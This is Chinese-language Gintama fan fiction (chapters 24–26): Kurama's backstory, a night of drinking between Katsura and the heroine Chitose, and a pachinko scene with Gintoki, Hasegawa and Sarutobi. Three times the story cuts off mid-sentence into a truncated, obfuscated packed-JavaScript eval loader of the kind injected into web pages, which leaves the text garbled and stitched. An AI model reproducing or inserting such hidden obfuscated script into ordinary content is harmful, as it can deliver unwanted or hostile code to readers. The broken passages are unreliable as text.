坂田银时原本懒洋洋地躺在她的沙发上,边翻着新买的JUMP,边往嘴里抛着草莓巧克力。突然被他的问题吓着,一时失神,巧克力尖端正好命中喉咙,惹得他一阵剧烈咳嗽。 「我哪有什么想法?谁会对那些一肚子坏水的女人有兴趣。就算有也一定是个世纪抖M,别把我和那种不三不四的M相提并论!」 「不是,你反应也太大了吧?」桂眯了眯眼睛,似是对他的说法有所怀疑「我只是想问你,你认为小千会是写真集派还是DVD派,为什么要回答我完全无关的答案,你这个人真奇怪。」 「蛤?你脑子才奇怪吧,谁会去问别人…」 「我是写真派。」千茶的声音在身后响起。 银时的表情彻底凝固了,桂则是露出一副果然如此的表情。 「DVD太过真实了,而且有些角度从女孩子的视线看来真的很死亡,相对之下,我还是比较喜欢写真集那种完美到让人分不清真假的距离感。」她继续说,然后看向银时「银时先生呢?」 「我为什么非得在这里和你们两个聊自己喜欢看什么?还是小孩子吗?看个写真都要分派系。DVD和写真集各有各的好处,DVD能动这点就已经比所有平面作品都有优势了,而写真集充满想像空间这点也不可或缺。说到底,直接买那些附送DVD特典的写真集不就得了?真是的…也不知道有什么好说的。」 「这样啊…」 听完他的分享,千茶用一副意味深长的表情地点点头「我还以为银时先生会喜欢现场感更强的,像是『DVD和写真集都是垃圾,VR才是王道!』这样的。」 「不要随便想像别人的喜好!」他狠狠地瞪了她一眼,脑袋里却不自觉地浮现出那天中午的梦。 确实…现场感很强,而且他也不讨厌… 回过神来,他的目光迎上了千茶那张似笑非笑的脸。他慌忙地挥动手里的Jump,试图驱散脑海里那些零碎的片段,同时拉开和她之间的距离。 他差点就要被这两个家伙给带偏,都快忘记来她家的初衷。明明是桂打电话到万事屋,说有正事要谈,他才特地过来一趟的,可不是来跟这两个平常爱装正经的变态聊什么个人癖好。 说起桂,银时这才注意到他已经沉默了好一阵。 「喂,假发,你把我喊过来到底是干什么的?」银时回过头,用手肘撞了他一下,试图让他将话题回到正事上。 关键词触起了桂的反射神经,待他喊完「不是假发,是桂!」,双眼才再次聚焦。 桂沉默了片刻,目光在银时和千茶之间游移,客厅的气氛忽然变得凝重起来,连一向懒散的银时也不自觉地坐直了身子。 「在说别的事前,我想先听听你们对NTR有什么想法?」 24. 本名和回家的路都不能忘記 外祖家从来都是浅井兄妹的避风港。 在浅井将辉决定追寻理想的乌托邦时,他最先失去的是他成长的家。 他永远都会记得,离家当日,母亲哭得泣不成声,而父亲始终不愿与他见面。 二弟说,等他走了以后,就要把他的小黄书都据为己有。 小妹说,假期的时候,她会到外公家去,让他有空要过来找她玩。 最可悲的莫过于,年幼的孩子比起成年人都更要体面。 离家时那一份傲气,很快被战场洗刷得一干二净。这位圈养的少年天才,面对吃人的世界,也不过尔尔。 面对现实与理想的巨大落差,他一时难以接受。就在恍神之际,一根狼牙棒直劈向他的命门。 他闭上眼睛,准备迎接死亡。然而,一秒、两秒过去,预期中的剧痛却迟迟未至。 一对呈交叉状的刀刃突然出现在他面前,挡下了那致命一击。 握刀之人见他愣在原地,咒骂了一声,一脚将他踢开,随即挺身迎战那个身形巨大的天人。 那一战结束后,他拖着疲惫不堪的身躯来到救命恩人面前,想要向他道谢,却反被对方劈头数落了一顿。 最后还是一名銀发少年出面调停,对方才终于放过了他。 旁边的人都喊他那个恩人做「天狗先生」。 据说是因为他的实名叫鞍马,而且总是一副目中无人的态度。 队里几乎每个人都被他骂过,但骂归骂,真要遇上危险时,他总是第一个冲到前面保护他们。 将辉决定要拜鞍马为师。 鞍马起初不理会他,但在他长达数月的软磨硬泡之下,最终还是答应教他一些求生的技巧,但他从不让将辉喊一声师父。 他几乎可以确定,和鞍马一路的都是些有点中二病的人。除了鞍马天狗,还有白夜叉和狂乱贵公子,甚至有一支自称鬼兵队的部队,后来又来了个桂滨之龙。 而这些奇怪的中二病,在不知不觉间竟成了他最重要的伙伴。在枪林弹雨中,他们互相守护彼此的后背。在夜深人静时,他们一起喝酒谈天说地。 和战场上认识的家人待久了,他忽然有点想念自己的血脉至亲。 某天路过外祖家附近,耳边响起妹妹的话,而现在正值寒假期间。 他想要回家看看。 可是光他一个人的话,他却没有那份勇气,于是他邀请了他那些中二病的战友。 桂滨之龙一向热衷热闹,二话不说就哈哈大笑着答应了。白夜叉听说有免费酒喝,立刻变成了带头的那个。狂乱贵公子起初推辞了几句,后来干脆不装了,直接带上一堆装食物的容器说要顺道去补给。 至于鬼兵队总督,他记不太清了,大概是一边跟白夜叉吵吵闹闹,一边被其他两人架着拖过去的。 唯独鞍马天狗始终拒绝了他。 说是家人团聚这种温馨的场面,他光看着就浑身不自在。 每当他看到将辉拿着全家福出神时,他总会走过来打趣几句。 将辉以为他是嫌自己太过婆婆妈妈,没点男子气概。 直到,将辉决定诀别战场,重新担起他被逃避已久的家庭责任。 那天晚上,鞍马难得地喝得烂醉。当他听见这个总爱缠着自己的小子说要回家时,他竟发现自己并不像最初设想的那样感到解脱。 一方面,他为这个笨蛋终于想通,家人才是优先而欣慰;另一方面,心底深处却又有种道不明的失落感在慢慢滋生。 那夜酒后,他和他们说了很多从未提起的往事。 原来,鞍马曾是某个幕府要员的家臣。 一次,他无意间听见了对方与天人勾结的谈话。当晚回到家中,他便发现妻子和女儿躺在血泊之中,而埋伏者早已在旁等候。 那些混帐想灭口却不成。 当夜,他便提着刀,亲手了结了下令的混蛋,然后转身加入讨伐幕府的战场。 那一夜过后,他们都没有再提起这段往事。 应该说,就算想再提起,也都没有任何机会了。 将辉死后,大家都犹豫着是否该和其他人一样,找个合适的地方将他就地安葬。然而鞍马对此置若罔闻,坚持要把他送回家人身边。 坂田银时二话不说就跟了上去,接着是高杉晋助,桂小太郎和坂本辰马默默对视一眼,也随后跟上。 然而到了津田家的门前,鞍马把他从肩上放下后,便转身离去。 从那一刻起,这个人从他们的人生中消失得无影无踪。 战后,偶尔也会有些小道消息传进他们耳内,说是鞍马游荡在各地的地下擂台,继续过着刀口舔血的生活。有人说他在一场血战中死去,也有人说他收了个徒弟,把毕生所学传授后便神隐了。 说得就像他真是鞍马山上的天狗似的。 时间回到当下,桂脑袋上顶着被银时揍出的鼓包,终把话题转回正事上。 「银时,我把你叫来,是想和你聊聊这次遇袭的事。」 银时换了个坐姿,自顾自地继续翻着JUMP,显得对此毫无兴趣。 千茶并不打算掺一脚进攘夷志士的瓜葛里。 「那你们慢慢聊吧,我先回房间。」她说着,正要从沙发上起来,却听见桂继续说。 「银时,你还记得鞍马前辈吗?」 千茶的动作顿时静止,最后还是缓缓地坐回沙发上。 银时偏过头看了她一眼「你不是回房间吗?」 「我突然想起今天电视有神〇少女的重播,我要看。」她从茶几上拿起遥控,漫不经心地换着频道。 见状,银时也没追问下去,把头转回去继续和桂说话。 「你是在说那个爱抽烟酒的老头吗?有点印象吧。」 桂朝他点点头,眼神流露出一丝复杂,沉默良久,似乎在斟酌用词。 「前段时间,我收到消息,说是鞍马前辈打算在江户重整旗鼓,于是托了人帮忙去联络。」 银时的身驱挡在桂的视线前,使他们都没有察觉到千茶眼中一闪而过的锐光。 「结果,当我到了约定的地点时,鞍马前辈并不在场,来的人是个叫外号叫牛若丸的人。」桂皱着眉,目光阴沈了几分「他自称是鞍马前辈在擂台上收的弟子,想和我们合伙,但以他们平常的作风来看,明显是在冒用前辈的名号招兵买马。于是…」 桂把当日的事钜细无遗地道来,银时边听着边点头,但他的着眼点却是… 「那个人叫自己做牛若丸?」银时窃笑着打趣「好可怕!源义经该不会诈尸起来攘夷吧?不是,说真的…到底对自己多有自信的人,才会给自己改一个这样的绰号啊?怎样,义经是不是真的很小只?伤你的该不会真是义经的刀吧?」 听着自己的绰号被调侃的牛若丸,也即是白天狗本人:……. 她向来只会把刀指向敌人,此刻却忽然想给身旁这个男人来上一刀,让他看看自己的刀法是否真如源义经般厉害。 再说,这个名字又不是她自己改的。这是传承!是传承! 「那个牛若丸用的刀法确实和前辈有几分像,不过就粗糙得多了,根本不及前辈的一成火候。至于身高嘛,也许穿了内増高吧,看着也有170。」桂略带不屑地说道「武士才不会依靠内增高这些旁门左道来。」 因为身高不够,而习惯穿上恨天高的牛若丸本人:…… 千茶握着遥控器的手微微收紧。 不知道是因为他们对「牛若丸」的轻视,还是对这个半吊子冒牌货的不屑。 旧事重提,银时也渐渐陷入回忆之中。他放下手中的Jump,曲起手肘,掌心交叠枕在脑后。 「还真让人意外呢,想当年将辉可是缠了那个老头很久,他都不答应收他为徒的,想不到转个头就收了个打擂台的小子啊。」 她知道鞍马和她大哥是旧识,但这也是在他离世后才听说的。那个人和她说的时候只是用一两句简单带过,让她一直以为他们只是同队的战友,没想到… 「你说哥哥他,缠着鞍马先生想拜师?」 银时瞥了她一眼,只以为她是对哥哥的事感兴趣,也就顺了她的意。 「将辉原本不是我们队里的人,有次刚好被老头救了,自此就一直赖在我们营地,天天追着他要拜师。」 桂听着熟悉的往事不禁点头,然后补充道「虽然鞍马前辈嘴上说不收徒,但他还是把所有本事都教给了将辉,他们的关系和真正的师徒并无分别。」 鞍马不收徒吗?可是当年,她是被那个臭老头按着脑袋,逼着喊的师父。 在肮脏凌乱的屠宰场,鞍马带着一身酒气来到她面前,嘴里嚷嚷着要收她为徒。看着眼前的酒鬼,她下意识便拒绝,但他却执意要将他家传的二刀流传授给她。后来,他不知道那里弄来了两把武士刀,一有空闲便逼着她练习挥刀,还说要把她送上擂台实战教学。 这次她没有拒绝,毕竟他们给的实在太多了,和钱过意不去的都是傻子。 而且就像银时刚才所调侃的,这位牛若丸的确对自己的能力极其自信。 「小千?」 千茶猛地擡头,和桂刚好对上了了视线。 她撇开视线,指尖轻轻摩挲着沙发的皮面。 「那个人并不是牛若丸,也没有继承什么鞍马先生的意志。」她缓缓开口。 虽然她不想在这个时节点掉马,但也不能眼睁睁看着别人冒用她的身分,更不能容忍他人侮辱鞍马的名节。 只有她这个在师父手下吃尽苦头的徒弟,才有资格用他的名字来沽名钓誉。 「在来歌舞伎町之前,我曾住在〇〇区的非人町附近住过一段时间,对你们说的地下擂台也略有所闻。你们说的那位鞍马先生,应该就是当地以赤天狗为名号的台柱。」 听到她提及曾在非人町附近落脚,银时和桂不约而同地抬头望向千茶,只见她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他转过头正打算安慰两句,却见她欣赏地拍拍手。 「品味真不错呢!我以前也在那里举办过一次,果然还是墓碑数量多的地方才有那种氛围呢。而且拿去祭祀的酒真的会变少,超有趣的~」 银时听着不禁打了个冷颤。 他差点忘了,这个女人可是会给妹妹买市松人偶、在家玩百物语的心灵系爱好者,又怎会放过自家的墓地。 「那些酒是被将辉喝掉的吗?」桂完全没注意到自己僵硬的朋友,继续和千茶讨论著。 「嗯…我是麻瓜体质什么都没看见,可是土方先生之后病了一周就是了。」她回忆道。 银时终于明白,为什么那天春在听说千茶在屯所留宿后,会对土方露出如此怜悯的表情。 显然那条可怜虫打从以前就没少被她欺负。 「那些条子真是没用啊。」桂轻蔑地说。 「你在那里不屑个什么啊?!」银时终于忍无可忍,打断了他们对试胆大会的期许「给我回到刚才的话题!」 说完他便后悔了,因为当时千茶正是想转移话题才开始胡扯的。本来只要随便吐槽两句就能混过去,谁知道银时不接话,而桂这个顿感力为零的笨蛋完全没有意识到。 千茶轻飘飘地瞪了他一眼,随后竟然真的看起电视中放映的神〇少女。 一时之间,寛僘的客厅里只剩下动画片的配乐。 画面中,千寻正拉着她拼命进食的父母,他们却丝毫不动。 「啊…要变成猪了,真可怕。」她说。 「喂,你真看啊?这部动画应该每个日本人都看到能倒过来背了吧。」 「银时,难道没人教过你看电影时要保持安静吗?」桂把食指竖在唇边,压低声音对银时说道,随后不知从哪里变出一包爆米花,撕开包装吃了起来。 「给我也来点。」千茶说。 桂越过银时,把爆米花递给千茶,随后又为自己开了一包。 「谢谢。」 「不客气。」 「喂,我说…」 「嘘…」 「你们给我…」 「嘘…」 银时咬着牙,拼命忍住不对这两个伤患发作。时间一分一秒地流逝,他终究认命地叹了口气,明白自己无法打断这两人看电影的兴致。 他只好默默地坐在中间,心不在焉地盯着荧幕。 如果鞍马早已过世,那么这段时间在江户活动的人究竟是谁?更重要的是,为何有人要假借鞍马的名义来对付桂? 千茶对于里世界的事,显然知道得比他们想像的多,但此刻她决定保持沉默。 而桂似乎也察觉到了这一点,继而选择尊重她的意愿,不再追问。 所以,既然他们都能自行达成共识了,究竟为什么还要把他喊过来? 25. 酒杯知晓的秘密堪比情报局 小时候总觉得酒一定很好喝,不然父亲怎会天天捧着那些酒瓶。 看着大人们在宴会中推杯换盏,她偷偷藏起一瓶,打算等到夜深人静时,躲在房间里尝一口。 可是在此之前,她就被二哥抓包了,二哥没有生气,只是摸摸她的脑袋,然后给她倒了一小杯。 她轻轻啜了一口,酒液沾在唇上,尝起来甜丝丝的,但当她放下戒心,让那清澈无色的液体一口气灌入口腔时,却被它的辛辣刺得喉咙生疼。 随后便是挥之不去的苦涩。 二哥为她抚去眼角的泪水,给她递了颗糖果。 「真难喝。」她说。 他听见后只是笑笑「要是你长大后还觉得难喝就好了。」 到底酒是什么时候开始变得好喝的? 离开家后的第一杯酒,是鞍马倒给她的。那天,她正因突发的头痛缩在休息室的一角,鞍马递来一杯烈酒,说着只要一口闷下去就会好了。 她忍着呛意咽下,炽烈的暖意从喉咙一直烧进胃里。头痛确实缓解了,取而代之的,是片刻后轻飘飘的晕眩感。 后来有了第二杯、第三杯。 像是受了伤,需要麻痺痛觉;又或是想忘记手上那些黏稠的血液;母亲的离世、师父的下葬。 一杯又一杯,直到再无人为她倒酒。 「能请我喝一杯吗?」 千茶拧过头,看见桂换了一身外出服,站在她身后。这套衣服大概是傍晚的时候,伊丽莎白给他带过来的。 她点点头,来到厨房又拿了一套杯子和食具。 今天为自己准备的下酒菜,是超市特价时段买来的刺身。 两人肩并肩坐在茶几前,千茶将酒杯和食具摆放在桂面前。 透明的酒液缓缓注入白色的陶瓷杯中,客厅的灯没有打开,他们只靠着厨房透出的暖光看清眼前的一切,也包括彼此。 「今晚就要走了吗?」她轻声问道,将倒满的酒杯推到桂的手边。 若非打算离开,怎会在这种时候换上外出服呢?今天特意请银时来谈话,想必是觉得自己的伤已经痊愈,打算着手处理自己离开前留下的杂事。 「嗯。」桂垂下眼睛,端起酒杯轻啜一口。 「我的伤也好得差不多,是时候该回去减轻伊丽莎白的负担。而且,我对鞍马前辈的事也有点在意。」 「那些人要是冲着你来的话,你可要好好小心。」千茶淡淡道,目光落在酒杯中摇晃的倒影上。 桂凝视着她的侧脸,没有立即回答,直至过了片刻,他才回了一句「你也是。」 直觉告诉他,千茶一定藏着什么事没告诉他们,而这些事必定与今天提到的那个人有关。 如果真是这样,她恐怕也难免被卷入这次的事件之中。 虽然不知道她这些年的经历,但从现况看来,如今的安稳生活想必得来不易。因此,他不敢轻举妄动,深怕自己的多疑会打破这份平静,只能相信她有能力照顾好自己。 不过,要是真有什么大事要发生,他相信银时也不会袖手旁观。 寂静在的空间累,只剩下筷子碰触胶盒的细微声响,千茶自顾自地吃着面前的刺身,像是没听见他刚才那句。 「说起来,这瓶酒,是不是有些淡?」他说着,又喝了一口酒确认。 千茶抬起头,眼里带着浅浅的笑意。 「你也发现了啊。」她说着,自己也举起酒杯啜了一口「春怕我喝太多酒对身体不好,总在我不在家的时候,偷偷往酒里掺水。」 他看着她微微翘起的嘴角,也不禁露出了温柔的神色。 「他是个好孩子。」 「对呢。相对之下,我还真是个不成器的大人,还要让个孩子担心。」 「那么说的话,我也和你一样呢。这个年纪还倒在路边,让个小女生把我捡回家。」 千茶听得出他是有意安慰自己,轻轻用前臂碰了碰他握杯子那边的手臂。 「这不是挺好吗?要不然也没人和我喝酒了。」她说,话中夹着几分小孩子撒娇的意味。 没人陪她喝酒? 「你和银时关系不是很好吗?」 说起银时… 自从上次发生那件事后,她发现银时似乎刻意避免与她独处,大概是担心哪天会被她吃干抹净。 还真是个胆小鬼。 平日满口荤话,但真要他付诸行动时却一个劲地往后退。都一把年纪了,还像个高中生一样不经逗。要是他像土方一样打算当个魔法师也就罢了,可那家伙明明不是那个路线的啊? 再说,要是真这么怕的话,就别老是往人家里跑。 该不是想和她玩欲擒故纵吧? 真不巧,这可是她的强项呢。 「银时先生啊…说起来,你们认识很久了对吧?」千茶换了个方向,避开了他的问题。 「嗯,从大家还是个小鬼的时候就认识了。」他抬起头,嘴角挂着若有若无的笑意「我们三个。」 千茶点点头,没有追问第三个人是谁。 也没有告诉他,当第三个人听说他倒在垃圾堆旁时,让她直接把他扔在那里就行了。 「真好呢,能有个可以随意交托背后的同伴在身旁。」她说,声音里不难听出一丝羡慕。 「嗯,我真的很幸运。」 两人窝在茶几前,有一搭没一搭地边喝边聊。待胶盒里的刺身吃光后,千茶放下筷子,开始收拾茶几上的垃圾。 「在非人町生活是怎样的?」他突然问了句。 千茶瞥了他一眼,手里的动作却没有停下。 「其实也没什么特别的。就是脏一点、臭一点,不过时间久了也就习惯了。至于其他方面,和别的地方差不多,有好人,也有坏人。」 是个模棱两可的答案。 「去年,将军提出要处理非人町的问题,但遭到了幕府内部的反对,你知道这件事吗?」 千茶轻轻点头「好像听说过。」 「当时有小道消息说,将军本人也亲自到了非人町视察,这件事,你怎么看?」 她奇怪地看了他一眼「你现在是在访问我吗,桂主播。」 「没错,请你作为非人町邻近居民,向大众分享一下你的看法。」他单手握着拳,模仿握着麦克风的姿势,然后把手举在千茶面前「请你回应,千茶阁下。」 千茶挑挑眉,把整理好的垃圾放在一旁,双手握着他的拳头,清了清嗓子。 「确实也听过这种传闻呢。虽然我们都不喜欢幕府那些狗东西,但如果那个人真的愿意亲身来到这种随时可能遭人埋伏的地方,看看江户底层市民的处境,并试著作出改善。那不也证明了他并非完全无药可救,不是吗?」话语落下,千茶抬起眼睛,与他四目相对。 她的眼神清澈而明亮,丝毫不因这番尖锐的对答而有所闪躲。 「不破不立固然是正确的,从根部开始腐烂的花是结不了果的。但连根拔起付出的代价,又该由谁来承担?」她的声音很轻柔,却直传入他耳中。 桂没有回答,只是沉默地看着她。或许,这个问题的答案,连他自己也还在寻找。 「小太郎先生听过扦插繁殖吗?」 他眯起眼睛,摇摇头,显然对这个词语感到陌生。 「那么,小太郎同学,接下来就让老师来告诉你吧。」 眼前的影像瞬间起了变化。 桂小太郎穿着一身高中制服,坐在房间的茶几前。衬衣下摆从裤子里拽出来,领带松垮垮地挂在脖子上。 他出生于富裕家庭,但父母长期不在家,孤独的他只能透过其他方式排解寂寞。他本性不坏,只是性格有些尖锐,在学校被老师视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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切去腐烂的根部,将健康的支茎连同上面的花叶移植到新的土壤上吗? 千茶看着桂若有所思的表情,明白自己的话已经传达到位了。见状,她松开了他的手臂,让衣袖自然地落下。 「你学会了吗?小太郎同学?」 被唤回神的桂眨眨眼睛,目光逐渐聚焦。 「我明白了,感谢你的教诲,千茶老师。」他说,犹豫片刻后,终于下定决心把那个问题问出口。 「那么在扦插的过程中,千茶老师你会负责哪个部分?」 千茶假装思考了一下,这才缓缓道出「老师我啊…就去找适合根部生长的土壤吧,然后让支茎明白,即使离了根,他依然能够生存,依然能为花叶供给养分。」 桂消化着她话中的隐喻,最终默然点头。 沉默间并无丝毫尴尬或压迫感。 「那么,当一切都准备就绪时,小太郎先生,你愿意成为握刀斩去腐根的人吗?」 桂微微勾起嘴角,眼神中闪烁着这段日子以来,前所未有的坚定「还用问吗?」 「就这么决定了。」千茶轻声说道。 她举起酒杯,示意他与自己碰杯。 「小太郎同学,今晚的事,是我们之间的秘密,不能告诉任何人,明白吗?」 「当然了,千茶老师。」 陶瓷清脆的碰撞声在深夜回荡。他们举起酒杯,把里面的酒喝了清光。 她想再添点酒,拿起酒瓶晃了晃,却发现里面已经快见底了,她将最后一点酒液分在两人的杯子里。 「要不要再开一瓶?」她问道,却看见桂已经站了起来。 「下次吧,今天时候不早了。」他轻声说,边整理着自己的衣服。 「还有,非常感谢你的款待。」 26. 人生三大错觉:这把会赢、我还有钱和她喜欢…… 那天之后,千茶便没再见过桂。 根据银时所说,他正忙于追踪那些袭击他的攘夷志士,但经过调查后发现,那些人自从上次的暗杀失败后,就从江户完全消声匿迹了。 对于这个消息,千茶并不意外,因为她在那之后,也私下托了人去调查,得到的是相同的答案。 随着时间的流逝,她腰上的伤也渐渐痊愈。那次,她因为把桂捡回家而导致伤口裂开后,她便以照顾伤者为借口,在春和菊面前作幌子,向店里请了一个月的无薪假。 不过,就算是在桂养伤期间,她也没整天守在他身边,空闲时依然会出门喝喝下午茶,或打几场柏青哥,现在就更不用说了。 她和三町目那家柏青哥店的店员是旧识,他每次都会给她一些独家提示,以致她平日即使赚不上大钱,也不至于亏太多。 柏青哥对于那种肾上腺素上瘾的人来说,有一种特别的魅力。 每当机器运转,心跳就会随着眼前的动画和音效加快。金属珠子随着操作在机器中上下窜动,无论输赢,都能带来那种能把头脑放空的愉悦。 这无疑是她上一份工作留下的后遗症。 就像人们常说的,柏青哥店就像是大人的游戏中心。她就和大部分的客人一样,只是偶尔手痒,想要点刺激感,才来玩个两把解解瘾而已。 只有蠢蛋才会把生活费都花在上面,妄想使用投机取巧的方式维生。 而她这天就很巧地遇到了一个蠢蛋。不对,应该是两个。 坂田银时站在她身后,目光在她面前那几篮小钢珠和自己手中那半篮之间来回游移。 千茶正犹豫着是该再投一局还是该收手回家时,她忽然感到一股热烈的视线。转过头,对上了男人打量着她战果的目光。他的眼里写满了艳羡和不甘,就像个穷得吃不起饭的孩子,盯着零食店橱窗里的糖果。 「真巧呢,银时先生。」店里的声响很大,她得喊出来才让他勉强听清。 「你今天看来收获很不错呢。」他用着同样的音量回应,语气中难掩一丝酸意。 他早就从春口中听说过他们姐姐偶尔会去打小钢珠,可是在店里撞上还是第一次。看来那小子说得没错,她在这方面真的有两下子。 相比之下,他就…没得到幸运女神那怕本分的眷顾。 「别用那种可怜的眼神盯着我!阿银我只是今天手气刚好不太好。偶尔还是有会赢钱的日子的!」银时嚷嚷道。 千茶眼中的怜悯深了几分,随后又听见他自言自语般的自我催眠。 「你看,这里不是还有些希望吗?我已经决定好今天要把那边的高级和牛带回去弄寿喜烧了!」 他说着,在千茶面前晃了晃那篮所剩无几的小钢珠。 听着他大声喊出这种可怜的话,她心里泛起一阵淡淡的悲凉。 「依我看,还是早点收手比较好。」千茶瞥了他一眼,面露不忍。 但银时显然并没因她的打击而放弃,他装作没听见,在她旁边的机子坐了下来,然后咬着牙把仅余的珠子都倒进机器里。 幸好这套是银魂,不然他作为主角早就靠光环嬴好几回了。 银时不忿地掏出钱包,想着再投一张进去,但打开却发现里面就只剩下一个500圆的硬币。 望着那枚孤零零的硬币,他脸上闪过一丝绝望。想到已经投了那么多进去,又不甘心空手回家。 他正坐在机台前,盯着那枚五百圆硬币看了许久。直至余光瞥见千茶拿起一个装满的篮子,把整整一篮钢珠全倒进了他那空荡荡的篮子里。 「你真是每次都能刷新我对你印象的下限呢,废柴大叔。」她说,同时响起的还有钢珠互相碰撞的声音。 银时热泪盈眶地盯着那篮小钢珠,这还是他第一次被人说是废柴时,觉得这两个字如此动听。 「你在喊我吗?」一把有点沧桑的声音从他们身后传来,话里带着几分不肯定。 两人转过头,映入眼帘的是个衣衫满是补丁,却戴着一副名牌墨镜的大叔。 银时悄悄打量了他一下,才短短几天没见,怎么长谷川的衣服看起来又更破烂了。他想着,视线最终落在长谷川拿着的篮子。 看来这家伙今天的运气也不怎样。 「啊…是阿银啊。」 听到面前的大叔说出银时的名字,千茶扯了扯旁边人的衣袖「喂喂,这位是银时先生的朋友吗?」 他明显感受到这个小恶魔话里若有似无的调侃,但还是点点头「就…勉强是吧。」 「阿银,什么叫『勉强是吧』,也太无情了吧!」长谷川说得一脸受伤,小声嘀咕着他们以前一起经历过多少风风浪浪之类的,不过声音都被旁边的机器盖过去,他们也没听见多少。 千茶瞥见他手里快见底的钢珠篮子,她扶着银时的手臂,凑到他耳边,用只有两人听得见的声音说「真不愧是你的朋友。」 他就知道。 银时瞪了她一眼「吵死了。你这种出生高贵的大小姐是不会明白我们这些小市民在社会上浮浮沉沈有多不容易。」 说完,他才想起千茶和他们提过,她也曾在非人町生活过一段时间。 然而他过了一阵,他也没等来她的反驳。 「你不反驳一下吗?」 她摇摇头「没什么好反驳的,本小姐现在也明着混得比你好啊。」 一箭狠狠击中了他的弱点 「真是一点都不可爱…」 千茶挑挑眉,作势要去把刚才给他的小钢珠收回来,他连忙按住她蠢蠢欲动的手,话锋一转。 「啊…我们家小千环真是可爱呢,不但长得漂亮,还会热心帮助有需要的人。对阿银来说,简直就是心目中的女神大人呢…」 千茶感觉自己对人类无耻程度的认知下限再次被刷新了。 「哦…」她不但没有收手的意思,甚至把手都搭在篮子上了。 银时试着去掰开她扣在篮边的手指,这才发现她的力度也可不小。 被放置Play长谷川若有所思地看着二人拉扯,因为输小钢珠而致的愁绪逐渐被暧昧的笑容取代。 「那个…抱歉,打扰到你们约会了,我就先…」他打断了那对几乎就要搂在一起的男女,说着便收起笑意,一脸黯然地转身要离开,却被银时拉住了衣袖。 「等等,不是这样的,你误会了。」 现在这一幕看上去就像九点档的情节,妻子撞破丈夫和别的女孩子腻腻歪歪,正要失望离开,却被丈夫拉住了手臂… 旁边好事的大叔大婶不禁停下手里的游戏,目光悄悄地打量着他们。而现况看来,那个银色卷毛就是男主角,以黑色墨镜就是妻子的角色,正常按住电视剧的发展,理应… 「诶?难道说你还没有追到手吗?」长谷川停下了脚步,不知怎么让人听出了几分兴奋的情绪「这可不行呢,想当年我…」 银时没给他阐述过去感情史的机会,只是再次重申「我和这家伙不是这种关系!」 但话音刚落,一股不详的预感瞬间蔓延,他不禁打了个冷颤。 「那么,银时先生,我们现在究竟是什么关系呢?」千茶顺势牵上银时扒拉自己的那只手,然后以十指紧扣的方式将他往自己拉近近。 大叔大婶们的目光变得更加炽热,银时顶着这些视线,以及长谷川期待的眼神,不知所措地试着甩开她的手,但又怕会弄翻大腿上那篮小钢珠。 千茶能够感受到他的手心正在冒汗。 她承认自己是个坏心眼的抖S,看着他在小钢珠和清白之间挣扎,生出一种比玩小钢珠更让人心跳加速的兴奋感。 她的眼神像只被宠坏的猫,就算打破了杯子被抓个正着,也深知装个乖就能脱罪。 阿银我和这种坏心眼的女人可是没半点关系。 他想这样说,可是手上的小钢珠大概会因此离他而去。 「明明我们连那种事都...」她故意把后半句话吞回去。 旁观者的窃窃私语让银时面如土色,甚至已经有人认出了他就是那个经营万事屋的。 长谷川似乎没有察觉到他的进退两难,更是不长眼地发出了意味深长的起哄。 就在银时迟疑着要不要为了小钢珠而牺牲自己的清白时,一股锐利的杀意如实体般划过他的手背。千茶似乎也有所察觉,两人不约而同地松开了十指相扣的手,随即心有余悸地对视了一眼。 只见脚边的地板上插着一把还在冒烟的苦芜。 糟糕,该不是我的仇家吧? 两个人脑子里同时浮现起这个问题。 银时站了起来,挡在千茶身前,戒备地四周张望。 面前的视线被他给挡得死死,她扶着洞爷湖的刀柄,以及他的一边手臂,往苦芜的投掷的方向探头。 此时一把耳熟的女声在耳边响了起来。 「你这个不知羞的女人,快把你那双肮脏的手从我的银桑身上移开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不能以这种不体面又不帅气的方式和她再见。 她得躲起来。 背后的沉默让银时不太自在,他偏过头看了身后的人一眼。只见她的手指紧紧揪着他的衣角,咬着下唇,双眼被浏海掩盖,让他看不清她的表情。她似乎察觉到银时的目光,便躲避似地别过脸,又往他身后缩了缩。 银时试着去拉她的手,以引起她的注意,却发现她竟把脑袋埋得更低了,额头也快要抵在他腰上。 这不寻常啊。 自从听见小猿说自己喜欢她后,这家伙便是这种反应,该不会… 这家伙,千茶她真的喜欢他吗? 银时又偷偷瞄了她一眼。不得不承认,看到她这副模样,他心里也有点慌乱。 回想起之前发生的一切,似乎都变得更加合理了。 不是吧…但…那么… 他现在该怎么办才好?! 「居然还在我的银桑面前装可怜!」猿飞戴上眼镜后,终于找到正确的银时,她气势汹汹地朝他走过来,凌厉的视线彷佛要穿过他的身体,把身后藏着的人看个通透。 千茶拉着他的衣服,又把自己藏得更深一点。 「喂喂,小猿冷静一点,你把她吓着了。」银时试图像个后宫番的男主角一样打圆场,可是没有恋爱作品光环的他,显然不太擅长处理修罗场。 这帮偏架的发言显现让猿飞更生气了。 「银桑,你竟然还帮她说好话!明明我刚才亲眼看见她用小钢珠威胁你,逼你就范!」 这刻,千茶也不知道是她这个用小钢珠去威胁人的坏女人比较丢脸,还是那个为了小钢珠而就范的男人比较社死。 别说猿飞,要是被店里的客人认出来,也有够让她在家躲好一阵了。 幸好,她向来不太要脸。 尽管如此,她还是在心里暗自决定,以后这种小趣味还是要留在独处的时候再玩。 「我跟你说,就算银桑和你做了这种事和那种事,能和他走到最后的人就只有我一个!」猿飞似乎没有察觉他们的难堪,继续输出。 